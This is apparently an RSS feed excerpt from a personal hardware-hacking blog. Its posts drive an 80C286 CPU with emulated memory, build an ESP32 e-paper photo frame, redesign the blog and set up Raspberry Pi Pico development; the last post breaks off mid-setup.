    <th><code>A0</code></th>
    <th>Function</th>
  </tr>
  <tr>
    <td>0</td>
    <td>0</td>
    <td>Word transfer</td>
  </tr>
  <tr>
    <td>0</td>
    <td>1</td>
    <td>Byte transfer on upper half of data bus (<code>D15</code> - <code>D8</code>)</td>
  </tr>
  <tr>
    <td>1</td>
    <td>0</td>
    <td>Byte transfer on lower half of data bus (<code>D7</code> - <code>D0</code>)</td>
  </tr>
</table>
<p>So during an operation involving the data bus, we can read/write the entire data bus, its upper half, or its lower half.</p>
<p>In our case, 'Memory data read' is very similar to 'Memory instruction read', so we can handle both with the same code. We just need to handle the flags mentioned above and use the fake memory.</p>
<pre><code class="hljs python">address = (a3 &lt;&lt; <span class="hljs-number">16</span>) + (a2 &lt;&lt; <span class="hljs-number">8</span>) + a1
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> COD_INTA <span class="hljs-keyword">and</span> M_IO <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> S1 <span class="hljs-keyword">and</span> S0:
    print(<span class="hljs-string">'Memory data read 0x{:06X}'</span>.format(address))
<span class="hljs-keyword">else</span>:
    print(<span class="hljs-string">'Memory instruction read 0x{:06X}'</span>.format(address))

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Word transfer 0x{:02X}{:02X}'</span>.format(MEMORY[address + <span class="hljs-number">1</span>], MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address + <span class="hljs-number">1</span>])
<span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> A0:
    print(<span class="hljs-string">'Byte transfer on upper half of data bus 0x{:02X}'</span>.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address])
<span class="hljs-keyword">elif</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Byte transfer on lower half of data bus 0x{:02X}'</span>.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0x00</span>)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(<span class="hljs-number">0.001</span>)
chip_flag.writeRegister(MCP23S17.GPIOB, <span class="hljs-number">0</span>)
time.sleep(<span class="hljs-number">0.001</span>)

chip_data.writeRegister(MCP23S17.IODIRA, <span class="hljs-number">0xFF</span>)
chip_data.writeRegister(MCP23S17.IODIRB, <span class="hljs-number">0xFF</span>)
</code></pre>
<p>It’s not much more complicated than our original NOP-based solution, but there is an extra twist here that’s easy to stumble over. In what order should we place the bytes onto the data bus? The <code>GPIOA</code> register represents the least significant byte of the data bus, while <code>GPIOB</code> represents the most significant. So, for example, our initial JMP instruction (<code>0xea00</code>) will travel as <code>0x00ea</code> (<a href="https://en.wikipedia.org/wiki/Endianness">little-endian</a>).</p>
<p>It’s worth scrolling back a bit and noticing that <code>nasm</code> already performed similar swaps. For instance, our <code>0x1234</code> value used for the addition is stored in memory as <code>0x3412</code>.</p>
<p>'Memory data write' is very straightforward; we simply use the fake memory:</p>
<pre><code class="hljs python">address = (a3 &lt;&lt; <span class="hljs-number">16</span>) + (a2 &lt;&lt; <span class="hljs-number">8</span>) + a1
print(<span class="hljs-string">'Memory data write 0x{:06X}'</span>.format(address))

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Word transfer 0x{:02X}{:02X}'</span>.format(d2, d1))
    MEMORY[address] = d1
    MEMORY[address + <span class="hljs-number">1</span>] = d2
<span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> A0:
    print(<span class="hljs-string">'Byte transfer on upper half of data bus 0x{:02X}'</span>.format(d2))
    MEMORY[address] = d2
<span class="hljs-keyword">elif</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Byte transfer on lower half of data bus 0x{:02X}'</span>.format(d1))
    MEMORY[address] = d1
</code></pre>
<p>The little-endian order can also be observed here, although during execution, I didn't encounter a case where it attempted to write two bytes to memory at once.</p>
<p>And during 'halt / shutdown', we simply print the result of the addition from memory and exit:</p>
<pre><code class="hljs python">print(<span class="hljs-string">'Result: 0x{:04X}'</span>.format((MEMORY[<span class="hljs-number">0x000514</span>] &lt;&lt; <span class="hljs-number">8</span>) + MEMORY[<span class="hljs-number">0x000513</span>]))
sys.exit(<span class="hljs-number">0</span>)
</code></pre>
<h3>The Final Result</h3>
<p>In the end, running the program should produce output similar to this, where you can see it reading the initial JMP instruction, jumping to the new address, continuing to read instructions from there, reading the two numbers to be added from memory, and finally writing the result back to memory:</p>
<pre class="console"><code>RESET
A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
START
#40
Memory instruction read 0xFFFFF0
Word transfer 0x00EA
#43
Memory instruction read 0xFFFFF2
Word transfer 0x0005
#46
Memory instruction read 0xFFFFF4
Word transfer 0x0000
#49
Memory instruction read 0xFFFFF6
Word transfer 0x0000
#52
Memory instruction read 0xFFFFF8
Word transfer 0x0000
#67
Memory instruction read 0x000500
Word transfer 0xC031
#70
Memory instruction read 0x000502
Word transfer 0xD88E
#73
Memory instruction read 0x000504
Word transfer 0x0FA1
#76
Memory instruction read 0x000506
Word transfer 0x0305
#79
Memory instruction read 0x000508
Word transfer 0x1106
#82
Memory instruction read 0x00050A
Word transfer 0xA305
#85
Memory instruction read 0x00050C
Word transfer 0x0513
#88
Memory data read 0x00050F
Byte transfer on upper half of data bus 0x34
#91
Memory data read 0x000510
Byte transfer on lower half of data bus 0x12
#94
Memory instruction read 0x00050E
Word transfer 0x34F4
#99
Memory data read 0x000511
Byte transfer on upper half of data bus 0x0A
#102
Memory data read 0x000512
Byte transfer on lower half of data bus 0x00
#115
Memory data write 0x000513
Byte transfer on upper half of data bus 0x0A
#116
Memory data write 0x000513
Byte transfer on upper half of data bus 0x3E
#119
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#120
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#123
halt
Result: 0x123E
</code></pre>
<p>It was a tremendous joy to see the correct final result at the end of execution for the first time. I think I've reached a milestone where I can stop and take a rest for now.</p>
<p>Of course, we've only scratched the surface; there's still a great deal left to learn. It's worth going through <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">the processor's datasheet</a>, or perhaps thinking about how various peripherals (such as a keyboard or a text display) are actually implemented.</p>
<p>What is certain, however, is that for the processor, this reality is not virtual at all. It doesn't matter to it where the electrical signals are coming from, as long as they are compatible with its own internal reality.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Frame by frame</title>
            <link>https://deadlime.hu/en/2025/04/12/frame-by-frame/</link>
            <pubDate>Sat, 12 Apr 2025 11:01:41 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[e-paper]]></category>
                    <category><![CDATA[ESP32]]></category>
                    <category><![CDATA[hardware]]></category>
                    
            <guid isPermaLink="false">8f52b91f354940e42ea90c6381396e34</guid>
            <description>An e-paper digital picture frame</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>I got an e-paper display and a picture frame as a gift, so naturally, we're building a home cluster out of old mobile phones. Just kidding. We're building a digital photo frame. If you were more into the cluster idea, <s>too bad</s> you can check out <a href="https://hackaday.com/2025/04/09/self-hosting-a-cluster-on-old-phones/">this article</a>.</p>
<p>On (e-)paper, the whole thing is simple. An ESP32 is hooked up to the display, hanging out on the network, waiting for new images to refresh the screen. But we also need to generate those images somehow, because the display only supports black and white.</p>
<h3>Assembly</h3>
<p>The <a href="https://www.merriam-webster.com/dictionary/passe-partout">passe-partout</a> (a new word I learned during this project; before that, it was known as &quot;that thing inside the frame around the picture&quot;) that came with the frame didn't quite match the size of the e-paper display. I could've found a piece of cardboard with the right thickness, but instead, I fired up FreeCAD, designed a new one, and 3D printed it.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/passe-partout_cad.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>The display fits perfectly (after 2-3 test prints), and there's even a bit of room for the ribbon cable.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_inside.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Sharp-eyed readers might even be able to tell which xkcd is currently on the display.</p>

<p>I had to cut a small hole in the back of the frame so the cable could pass through and connect to the ESP32.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_back.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>You have to be careful with the ribbon cable, it's pretty fragile. Don't ask me how I know. And of course, I'm not using a cable this short because I somehow messed up the connector on the extension. Definitely not.</p>
<p>In the end, I attached the ESP32 in the least aesthetic way possible.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_back2.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>I tried powering the whole thing from an <a href="https://www.ikea.com/us/en/p/varmfront-portable-charger-blue-90555651/">IKEA power bank</a>, but it turns out those things shut themselves off if there's not enough power drawn. And the e-paper display apparently doesn't use enough juice to keep it awake.</p>
<h3>Software</h3>
<p>First things first, let's try displaying something to make sure everything works. I set up the ESP32 with the Arduino IDE using the <a href="https://www.waveshare.com/wiki/7.5inch_e-Paper_HAT_Manual#Overview">manufacturer's documentation</a>, and then, again following the docs, displayed an image.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;DEV_Config.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;EPD.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;GUI_Paint.h&gt;</span></span>

UBYTE *<span class="hljs-built_in">image</span>;
UWORD imageSize = ((EPD_7IN5_V2_WIDTH % <span class="hljs-number">8</span> == <span class="hljs-number">0</span>) ? (EPD_7IN5_V2_WIDTH / <span class="hljs-number">8</span>) : (EPD_7IN5_V2_WIDTH / <span class="hljs-number">8</span> + <span class="hljs-number">1</span>)) * EPD_7IN5_V2_HEIGHT;
<span class="hljs-keyword">uint8_t</span> *imageData = <span class="hljs-literal">nullptr</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  DEV_Module_Init();
  EPD_7IN5_V2_Init();
  EPD_7IN5_V2_Clear();
  DEV_Delay_ms(<span class="hljs-number">500</span>);

  <span class="hljs-keyword">if</span> ((<span class="hljs-built_in">image</span> = (UBYTE *)<span class="hljs-built_in">malloc</span>(imageSize)) == <span class="hljs-literal">NULL</span>) {
    <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">println</span>(<span class="hljs-string">"Failed to apply for image memory"</span>);
    <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>);
  }
  Paint_NewImage(<span class="hljs-built_in">image</span>, EPD_7IN5_V2_WIDTH, EPD_7IN5_V2_HEIGHT, <span class="hljs-number">0</span>, WHITE);

  Paint_SelectImage(<span class="hljs-built_in">image</span>);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(<span class="hljs-built_in">image</span>);
  DEV_Delay_ms(<span class="hljs-number">2000</span>);
}
</code></pre>
<p>The <code>imageData</code> has to come from somewhere. You could hardcode some byte arrays into your program, but that's not very flexible. So it's time to think about how we actually want to update the image on the display.</p>
<p>Since we have Wi-Fi, we can go one of two routes: either act as a server or as a client. I went with the former, found a <a href="https://github.com/ESP32Async/ESPAsyncWebServer">web server library</a> that works with the hardware and created an <code>/upload</code> endpoint.</p>
<pre><code class="hljs arduino"><span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;AsyncTCP.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;ESPAsyncWebServer.h&gt;</span></span>

<span class="hljs-comment">// ...</span>
<span class="hljs-function"><span class="hljs-keyword">static</span> AsyncWebServer <span class="hljs-title">server</span><span class="hljs-params">(<span class="hljs-number">80</span>)</span></span>;
<span class="hljs-keyword">bool</span> imageChanged = <span class="hljs-literal">false</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_request</span><span class="hljs-params">(AsyncWebServerRequest *request)</span> </span>{
  <span class="hljs-keyword">if</span> (request-&gt;getResponse()) {
    <span class="hljs-keyword">return</span>;
  }
  <span class="hljs-keyword">if</span> (!request-&gt;_tempObject) {
    <span class="hljs-keyword">return</span> request-&gt;send(<span class="hljs-number">400</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"Nothing uploaded"</span>);
  }

  imageData = <span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">uint8_t</span> *&gt;(request-&gt;_tempObject);
  imageChanged = <span class="hljs-literal">true</span>;

  request-&gt;_tempObject = <span class="hljs-literal">nullptr</span>;

  request-&gt;send(<span class="hljs-number">200</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"OK"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_upload</span><span class="hljs-params">(AsyncWebServerRequest *request, <span class="hljs-keyword">String</span> filename, <span class="hljs-keyword">size_t</span> index, <span class="hljs-keyword">uint8_t</span> *data, <span class="hljs-keyword">size_t</span> len, <span class="hljs-keyword">bool</span> <span class="hljs-keyword">final</span>)</span> </span>{
  <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Upload[%s]: start=%u, len=%u, final=%d\n"</span>, filename.c_str(), index, len, <span class="hljs-keyword">final</span>);

  <span class="hljs-keyword">if</span> (!index) {
    <span class="hljs-keyword">size_t</span> <span class="hljs-built_in">size</span> = request-&gt;header(<span class="hljs-string">"Content-Length"</span>).toInt();
    <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">size</span>) {
      request-&gt;send(<span class="hljs-number">400</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"No Content-Length"</span>);
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Allocating buffer of %u bytes\n"</span>, <span class="hljs-built_in">size</span>);
      <span class="hljs-keyword">uint8_t</span> *<span class="hljs-built_in">buffer</span> = <span class="hljs-keyword">new</span> (<span class="hljs-built_in">std</span>::nothrow) <span class="hljs-keyword">uint8_t</span>[<span class="hljs-built_in">size</span>];
      <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">buffer</span>) {
        request-&gt;<span class="hljs-built_in">abort</span>();
      } <span class="hljs-keyword">else</span> {
        request-&gt;_tempObject = <span class="hljs-built_in">buffer</span>;
      }
    }
  }

  <span class="hljs-keyword">if</span> (len) {
    <span class="hljs-built_in">memcpy</span>(<span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">uint8_t</span> *&gt;(request-&gt;_tempObject) + index, data, len);
  }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">update_image</span><span class="hljs-params">()</span> </span>{
  Paint_SelectImage(<span class="hljs-built_in">image</span>);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(<span class="hljs-built_in">image</span>);
  DEV_Delay_ms(<span class="hljs-number">2000</span>);

  <span class="hljs-keyword">delete</span> imageData;
  imageData = <span class="hljs-literal">nullptr</span>;
  imageChanged = <span class="hljs-literal">false</span>;
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-comment">// ...</span>

  server.on(<span class="hljs-string">"/upload"</span>, HTTP_POST, on_request, on_upload);
  server.<span class="hljs-built_in">begin</span>();
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">loop</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (imageChanged) {
    update_image();
  }
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>Now we can update the image with a simple <code>curl</code> command:</p>
<pre class="console"><code>$ curl -v -F &quot;data=@something.wbm&quot; &quot;http://192.168.255.50/upload&quot;
</code></pre>
<p>Assuming we have the image in the right format, of course. This display only understands black and white (not even grayscale) so we'll need a bit of trickery.</p>
<h3>Image Generation</h3>
<p>First, grab the image you want to display, sized at 800x480 pixels (the resolution of the display). Open it in <a href="https://krita.org/">Krita</a>, and go to <code>Settings &gt; Dockers &gt; Palette</code> to bring up the palettes. Click the icon in the lower left corner to open the palette chooser, hit the <code>+</code> to add a new one, name it something like &quot;1bit&quot;, and set black and white as the only colors.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/krita_new_palette.png" width="660" height="990" alt="" title="" loading="lazy" />
</p>

<p>You can close the palette windows after this, we won't need them anymore. Now go to <code>Filter &gt; Map &gt; Palettize...</code>, select your &quot;1bit&quot; palette, check the Dither box, and pick a pattern from the list that makes your image look halfway decent.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/krita_palettize.png" width="557" height="539" alt="" title="" loading="lazy" />
</p>

<p>It's also worth playing around with the Color Mode and Offset Scale settings.</p>
<p>Just like <a href="https://deadlime.hu/en/2023/12/28/the-time-has-not-yet-come/">before</a>, WBMP would be a perfect format for us, but Krita doesn't support it, so we'll save the image as a PNG. Then, we'll use ImageMagick's <code>convert</code> command to turn it into a WBMP file:</p>
<pre class="console"><code>$ convert image.png image.wbmp
</code></pre>
<p>The resulting file will have a 6-byte WBMP header at the start, which we don't need, so let's get rid of it.</p>
<pre class="console"><code>$ tail -c +7 image.wbmp &gt;image_no_header.wbmp
</code></pre>
<p>Now we can upload the file just like we did earlier:</p>
<pre class="console"><code>$ curl -v -F &quot;data=@image_no_header.wbmp&quot; &quot;http://192.168.255.50/upload&quot;
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_pika.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>And finally, a close-up of those sweet e-paper pixels:</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_pika_close.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>This project can be extended in all kinds of directions. For example, with a program that converts any image to the proper format and uploads it to the frame. There are even more advanced e-paper displays out there now, with grayscale and even color support. But for now, we've reached the end of this journey, and time to move out of frame.</p>

]]></content:encoded>
        </item>
            <item>
            <title>deadlime: terminal velocity</title>
            <link>https://deadlime.hu/en/2025/04/07/deadlime-terminal-velocity/</link>
            <pubDate>Mon, 07 Apr 2025 11:02:56 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[siteinfo]]></category>
                    <category><![CDATA[CSS]]></category>
                    <category><![CDATA[HTML]]></category>
                    <category><![CDATA[PHP]]></category>
                    
            <guid isPermaLink="false">0909cf208aacc97fb6e17c398f34aeb0</guid>
            <description>The blog turned twenty last year, but I only got around to doing this now</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/terminal_velocity.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Eight years. The appearance of the site hasn't changed significantly for about eight years. There were some minor design changes here and there, but nothing major. I had planned a facelift for 2024 since the site turned 20 that year, but the inspiration never came. I did make a header image back in January 2024, but I wasn't satisfied with it. Then, just like that, a year flew by, and here we are.</p>
<h3>The background image</h3>
<p>Little did I know when I started working on the background image that I'd finish the whole redesign. I just thought it'd be funny to scatter programming-related characters around randomly. Maybe even color them as if it were syntax highlighting. I ended up scrapping that idea so that it wouldn't draw too much attention away from the content. Instead, I tried to use random shades of gray, but it was too random. In the end, I based the colors on <a href="https://en.wikipedia.org/wiki/Perlin_noise">Perlin noise</a>.</p>
<p>I quickly created a little single-use PHP script that generated the proper HTML, then saved it as an image to use as the background. The dark theme variant is simply the inverted version of that.</p>
<pre><code class="hljs xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span>&gt;</span><span class="css">
<span class="hljs-selector-tag">html</span>, <span class="hljs-selector-tag">body</span> {
  <span class="hljs-attribute">font</span>: <span class="hljs-number">24px</span> <span class="hljs-string">'DejaVu Sans Mono'</span>;
  <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
}
<span class="hljs-selector-class">.bg</span> {
  <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#e6e6e6</span>;
  <span class="hljs-attribute">color</span>: <span class="hljs-number">#000</span>;
  <span class="hljs-attribute">width</span>: <span class="hljs-number">1920px</span>;
}
<span class="hljs-selector-class">.char</span> {
  <span class="hljs-attribute">display</span>: inline-block;
  <span class="hljs-attribute">height</span>: <span class="hljs-number">60px</span>;
  <span class="hljs-attribute">line-height</span>: <span class="hljs-number">60px</span>;
  <span class="hljs-attribute">text-align</span>: center;
  <span class="hljs-attribute">width</span>: <span class="hljs-number">60px</span>;
}
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"bg"</span>&gt;</span>
<span class="hljs-comment">&lt;!-- Put the PHP script here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>The site's syntax highlighting couldn't handle the PHP code embedded in the HTML, so I decided to separate them instead.</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>
$chars = <span class="hljs-string">'\'"+!%/=(),.-?:_$\|&lt;&gt;#&amp;@{}[]'</span>;

<span class="hljs-keyword">for</span> ($y = <span class="hljs-number">0</span>; $y &lt; <span class="hljs-number">32</span>; ++$y) {
  <span class="hljs-keyword">for</span> ($x = <span class="hljs-number">0</span>; $x &lt; <span class="hljs-number">32</span>; ++$x) {
    $p = round(<span class="hljs-number">20</span> + perlin($x*<span class="hljs-number">0.25</span>, $y*<span class="hljs-number">0.25</span>) * <span class="hljs-number">80</span>, <span class="hljs-number">2</span>);
    <span class="hljs-keyword">print</span>(<span class="hljs-string">'&lt;div class="char" style="filter: opacity('</span> . $p . <span class="hljs-string">'%);"&gt;'</span>);
    <span class="hljs-keyword">print</span>(htmlspecialchars($chars[mt_rand(<span class="hljs-number">0</span>, strlen($chars) - <span class="hljs-number">1</span>)]));
    <span class="hljs-keyword">print</span>(<span class="hljs-string">'&lt;/div&gt;'</span>);
  }
}
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>I left the PHP implementation of the <code>perlin()</code> function to an AI. It worked okay, but sometimes it returned negative values, even though the result was supposed to be between 0 and 1.</p>
<h3>The header image</h3>
<p>I had the new tagline in mind for quite a while. I liked the little wordplay between terminal velocity and the velocity of the terminal emulator. That pretty much set the direction I wanted to go in. Something reminiscent of a terminal, something related to speed, and of course, it had to include lime.</p>
<p>An AI provided the base image with the lime slices and bubbles. I usually hunt for free stock photos, but this time I couldn't find anything that inspired me.</p>
<p>I added some <a href="https://en.wikipedia.org/wiki/Scan_line">CRT scanlines</a>, which may give it a bit of a terminal feel. The tagline itself is styled like a root terminal prompt, with a cursor at the end (<code># terminal velocity_</code>). The horizontal <a href="https://en.wikipedia.org/wiki/Glitch_art">glitch</a> lines are there not just for visual interest, they might also convey a sense of motion or speed. But I won't go too deep into art analysis. :)</p>
<p>I used <a href="https://krita.org/">Krita</a> to create the image. Even with my rusty Photoshop skills, it felt somewhat familiar. It didn't feel as alien as <a href="https://www.gimp.org/">GIMP</a> usually does to me.</p>
<h3>And the rest</h3>
<p>The rest hasn't really changed. I'm mostly satisfied with the layout of the text, the font sizes, and the colors. Minor tweaks between versions usually happen in this area. A little padding fix here, a slight font size tweak there, or the development of dark mode.</p>
<p>The blog engine hasn't changed much either. The HTML for the site is still generated by my homemade static site generator. Maybe the only noteworthy change is that I switched the syntax highlighting from client-side to server-side, so the page no longer relies on JavaScript to function.</p>
<p>So, that's about it. Enjoy reading for the next 20 years as well!</p>

]]></content:encoded>
        </item>
            <item>
            <title>The time&#039;s traveling</title>
            <link>https://deadlime.hu/en/2024/08/30/the-times-traveling/</link>
            <pubDate>Fri, 30 Aug 2024 18:04:18 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardware]]></category>
                    
            <guid isPermaLink="false">01eee7e65b25fe760edc5348e9fb6ff1</guid>
            <description>Clock development is getting more complicated, time zones have arrived</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/pico_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>I feel like I painted myself into a corner here. It's getting harder and harder to find time-related titles for these posts. Yet here we are again with a little bit of progress on the project.</p>
<p>In the last episodes, we couldn't convince CLion to do as we wished and PyCharm wasn't that cooperative either (<a href="https://deadlime.hu/en/2023/12/28/the-time-has-not-yet-come/">The time has (not yet) come</a>), but at least we printed out a nice little case around the clock (<a href="https://deadlime.hu/en/2024/07/28/time-in-a-box/">Time in a Box</a>), that we don't use.</p>
<p>Today we'll continue the journey by taking a step back and trying to tame CLion once again, then we'll have a chance to experience the deep dark horrors known as time zones.</p>
<h3>Development environment on a Pi</h3>
<p>The purpose of hobby projects (at least for me) is to have as much fun as possible (depending on your definition of 'fun', I guess, but we'll see that later). I didn't want to continue the project in MicroPython since I do enough Python in my day-to-day life, I needed some change. And I'm stubborn.</p>
<p>The original idea was to take a regular Raspberry Pi, connect the Pico to the Raspberry Pi's GPIO instead of the Picoprobe (Debugprobe), plug in a monitor/keyboard/mouse, and start developing on that. The idea slightly changed when I couldn't find a suitable HDMI converter for the Rasberry Pi. The new plan is to try to convince CLion running on a Windows machine to use the Raspberry Pi as a build environment via SSH.</p>
<p>Theoretically, the Pi is the most suitable environment for Pico development. After a few simple commands, everything should just work:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> wget https://raw.githubusercontent.com/raspberrypi/pico-setup/master/pico_setup.sh</span>
<span class="hljs-meta">$</span><span class="bash"> chmod +x pico_setup.sh</span>
<span class="hljs-meta">$</span><span class="bash"> ./pico_setup.sh</span>
</code></pre>
<p>Just a bit of waiting and we're done... unless you happen to be the (increasingly less) happy owner of a Raspberry Pi 5 because at the time of writing this script wasn't able to handle the new model. Luckily I found <a href="https://github.com/raspberrypi/pico-setup/pull/28/files">this pull request</a>, which got me halfway there, but I also needed a new OpenOCD interface config, which I can't remember where I got it from:</p>
<pre class="file"><code>/usr/local/share/openocd/scripts/interface/raspberrypi5.cfg
</code></pre>
<pre><code>adapter driver linuxgpiod

adapter gpio swclk 24 -chip 4
adapter gpio swdio 23 -chip 4
</code></pre>
<p>With that, I managed to run <a href="https://github.com/pimoroni/pimoroni-pico/tree/main/examples/gfx_pack">one of the examples</a> from the Pimoroni repository:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> openocd -f interface/raspberrypi5.cfg -f target/rp2040.cfg -c <span class="hljs-string">"program gfx_pack_demo.elf verify reset exit"</span></span>
</code></pre>
<p>Despite all this, I went with the Picoprobe at the end. I read somewhere that this driver is slower than the Picoprobe, so I wired it up again and connected it to the Pi with a USB cable. This way I could use this good old OpenOCD command:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg -c <span class="hljs-string">"program gfx_pack_demo.elf verify reset exit"</span></span>
</code></pre>
<h3>The lion's share of the work</h3>
<p>Now we just need to get CLion to do its magic. In theory, it has the support, let's see what we can do with it. First, it needs an SSH config to connect to the Pi:</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_1.png">
        <img src="https://deadlime.hu/uploads/2024/clion_setup_1.png" width="660" height="406" alt="" title="" loading="lazy" />
    </a>
</p>

<p>Then a remote toolchain that uses this SSH connection:</p>

<p class="image image-center">
    <a href="https://deadlime.hu/uploads/2024/clion_setup_2.png">
